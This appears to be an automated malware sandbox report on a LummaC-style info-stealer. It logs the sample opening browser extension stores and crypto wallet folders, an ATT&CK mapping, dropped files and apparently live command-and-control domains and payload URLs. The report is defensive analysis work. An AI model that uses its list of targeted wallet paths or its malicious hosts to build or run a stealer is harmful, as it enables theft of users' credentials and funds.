Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Input Capture	13 File and Directory Discovery	Remote Desktop Protocol	21 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	12 Process Injection	2 Obfuscated Files or Information	Security Account Manager	226 System Information Discovery	SMB/Windows Admin Shares	11 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	521 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Masquerading	LSA Secrets	3 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	221 Virtualization/Sandbox Evasion	Cached Domain Credentials	221 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	2 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
'Set-up.exe	3%	ReversingLabs
'Set-up.exe	6%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	74%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\is-81NQ0.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-81NQ0.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-BEJR0.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-BEJR0.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	0%	ReversingLabs
C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)	8%	ReversingLabs
C:\Users\user\AppData\Roaming\ColorStreamLib\is-LVIEF.tmp	8%	ReversingLabs

Source	Detection	Scanner	Label
carveforutune.click	0%	Avira URL Cloud	safe
http://michaeluno.jp/4	0%	Avira URL Cloud	safe
http://www.microsoft.cowvH%	0%	Avira URL Cloud	safe
http://michaeluno.jp/	0%	Avira URL Cloud	safe
https://carveforutune.click/api	0%	Avira URL Cloud	safe
https://goAppVClientCmdlets.psm1g	0%	Avira URL Cloud	safe
http://www.autohotkey.comCould	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cegu.shop	185.161.251.21	true	false	high
carveforutune.click	188.114.96.3	true	true	unknown
klipvumisui.shop	104.21.37.128	true	false	high
pdAXdqbLzMjgNT.pdAXdqbLzMjgNT	unknown	unknown	false	unknown
dfgh.online	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
carveforutune.click	true	Avira URL Cloud: safe	unknown
https://klipvumisui.shop/int_clp_sha.txt	false		high
rabidcowse.shop	false		high
wholersorie.shop	false		high
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
https://cegu.shop/8574262446/ph.txt	false		high
framekgirus.shop	false		high
tirepublicerj.shop	false		high
https://carveforutune.click/api	true	Avira URL Cloud: safe	unknown
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	PSNDEYKP9CHQN0J79BBDFB.exe, 00000013.00000000.2193842529.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	false		high
https://certs.securetrust.com/CA0:	PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	false		high
https://duckduckgo.com/ac/?q=	Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://repository.certum.pl/cscasha2.cer0	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://ocsp.sectigo.com0	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://ocsp.vikingcloud.com/0A	PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	false		high
http://certs.securetrust.com/issuers/TWGCA.crt0	PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	false		high
http://ocsp.vikingcloud.com/0:	PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	false		high
http://crl.usertr	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp	false		high
http://certs.securetrust.com/issuers/VCTWGTSCA_L1.crt0	PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	false		high
https://contoso.com/License	powershell.exe, 00000011.00000002.2143919847.00000000062A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dfgh.online/invoker.php?compName=	powershell.exe, 00000011.00000002.2141357432.0000000005475000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Auckland.com, 0000000C.00000003.2049423518.00000000041FE000.00000004.00000800.00020000.00000000.sdmp, Auckland.com, 0000000C.00000003.2049641996.00000000041FE000.00000004.00000800.00020000.00000000.sdmp, Auckland.com, 0000000C.00000003.2037868560.000000000424A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.autoitscript.com/autoit3/	Auckland.com, 0000000C.00000003.2015586201.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Az.8.dr	false		high
http://crl.vikingcloud.com/TWGCA.crl0t	PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	false		high
http://go.micros	powershell.exe, 00000011.00000002.2141357432.0000000005640000.00000004.00000800.00020000.00000000.sdmp	false		high
https://certs.securetrust.com/CA05	PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000011.00000002.2141357432.0000000005241000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.remobjects.com/ps	PSNDEYKP9CHQN0J79BBDFB.exe, 00000013.00000003.2197067219.0000000002D9F000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.exe, 00000013.00000003.2200031699.000000007F7CB000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000000.2202484931.00000000006D1000.00000020.00000001.01000000.0000000B.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000000.2223787809.0000000000BED000.00000020.00000001.01000000.0000000D.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp.21.dr	false		high
http://x1.c.lencr.org/0	Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/Sectig	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Auckland.com, 0000000C.00000003.2049423518.00000000041D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://subca.ocsp-certum.com01	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://contoso.com/	powershell.exe, 00000011.00000002.2143919847.00000000062A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000011.00000002.2143919847.00000000062A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.innosetup.com/	PSNDEYKP9CHQN0J79BBDFB.exe, 00000013.00000003.2197067219.0000000002D9F000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.exe, 00000013.00000003.2200031699.000000007F7CB000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000000.2202484931.00000000006D1000.00000020.00000001.01000000.0000000B.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000000.2223787809.0000000000BED000.00000020.00000001.01000000.0000000D.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp.21.dr	false		high
http://www.microsoft.cowvH%	powershell.exe, 00000011.00000002.2147638856.0000000008913000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0D	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://dfgh.online	powershell.exe, 00000011.00000002.2141357432.0000000005396000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jrsoftware.org0	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://jrsoftware.org/	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://certs.securetrust.com/CA0	PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	false		high
http://www.autohotkey.comCould	BrightLib.exe, 00000032.00000000.2665964645.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2709620501.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	Auckland.com, 0000000C.00000003.2062171761.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000011.00000002.2141357432.0000000005241000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certum.pl/CPS0	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://crl.trustwave.com/TWGCA.crl0n	PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000011.00000002.2143919847.00000000062A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000011.00000002.2141357432.0000000005475000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp	false		high
http://michaeluno.jp/4	BrightLib.exe, 00000032.00000002.2711310677.0000000003160000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.certum.pl/ctnca.cer09	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/TWGCSCA_L1.crl0y	PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000011.00000002.2141357432.0000000005396000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000011.00000002.2141357432.0000000005475000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctnca.crl0k	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000011.00000002.2141357432.0000000005396000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000011.00000002.2141357432.00000000058C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://goAppVClientCmdlets.psm1g	powershell.exe, 00000011.00000002.2145798883.0000000007A80000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000011.00000002.2143919847.00000000062A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/X	Auckland.com, 0000000C.00000000.1724122997.0000000000BC5000.00000002.00000001.01000000.00000007.sdmp, Auckland.com, 0000000C.00000003.2015586201.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Auckland.com.1.dr, Divisions.8.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	Auckland.com, 0000000C.00000003.2061439181.00000000041DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.autohotkey.com	BrightLib.exe, 00000032.00000000.2665964645.000000000049A000.00000002.00000001.01000000.0000000F.sdmp, BrightLib.exe, 00000032.00000002.2709620501.000000000049A000.00000002.00000001.01000000.0000000F.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Auckland.com, 0000000C.00000003.2049423518.00000000041FE000.00000004.00000800.00020000.00000000.sdmp, Auckland.com, 0000000C.00000003.2049641996.00000000041FE000.00000004.00000800.00020000.00000000.sdmp, Auckland.com, 0000000C.00000003.2037868560.000000000424A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	'Set-up.exe	false		high
https://www.certum.pl/CPS0	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://www.ecosia.org/newtab/	Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Auckland.com, 0000000C.00000003.2062171761.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.certum.pl/cscasha2.crl0q	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000011.00000002.2141357432.0000000005396000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cscasha2.ocsp-certum.com04	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://certs.securetrust.com/issuers/TWGCSCA_L1.crt0	PSNDEYKP9CHQN0J79BBDFB.exe.12.dr	false		high
https://ac.ecosia.org/autocomplete?q=	Auckland.com, 0000000C.00000003.2037206099.00000000041F0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2205308935.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000014.00000003.2211911206.0000000002390000.00000004.00001000.00020000.00000000.sdmp, PSNDEYKP9CHQN0J79BBDFB.tmp, 00000016.00000003.2735056948.0000000002680000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	false		high
http://crl.micro	powershell.exe, 00000011.00000002.2146137739.0000000007B49000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2145798883.0000000007A80000.00000004.00000020.00020000.00000000.sdmp	false		high
